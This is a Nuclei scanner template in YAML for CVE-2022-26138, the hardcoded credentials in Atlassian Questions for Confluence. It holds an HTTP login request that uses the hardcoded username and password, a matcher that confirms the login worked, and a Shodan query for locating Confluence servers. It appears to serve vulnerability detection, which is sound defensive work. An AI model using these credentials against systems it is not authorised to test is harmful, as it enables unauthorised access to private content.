51 lines
2.3 KiB
YAML
51 lines
2.3 KiB
YAML
id: CVE-2022-26138
|
|
|
|
info:
|
|
name: Atlassian Questions For Confluence - Hardcoded Credentials
|
|
author: HTTPVoid
|
|
severity: critical
|
|
description: |
|
|
Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
|
|
remediation: |
|
|
Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.
|
|
reference:
|
|
- https://twitter.com/fluepke/status/1549892089181257729
|
|
- https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
|
|
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-26138
|
|
- https://jira.atlassian.com/browse/CONFSERVER-79483
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-26138
|
|
cwe-id: CWE-798
|
|
epss-score: 0.96212
|
|
epss-percentile: 0.99347
|
|
cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: atlassian
|
|
product: questions_for_confluence
|
|
shodan-query: http.component:"Atlassian Confluence"
|
|
tags: cve,cve2022,confluence,atlassian,default-login,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /dologin.action HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action
|
|
|
|
payloads:
|
|
os_username:
|
|
- disabledsystemuser
|
|
os_password:
|
|
- disabled1system1user6708
|
|
attack: pitchfork
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'location == "/httpvoid.action"'
|
|
# digest: 490a0046304402205db57435f06a840134db879b61a4cc7d3724426946b98083e3c2a6336b4817f402200abcb4c7c0c43b1e203a16a0df8356d804a93d9c892564f1d373361a1b50219a:922c64590222798bb761d5b6d8e72950 |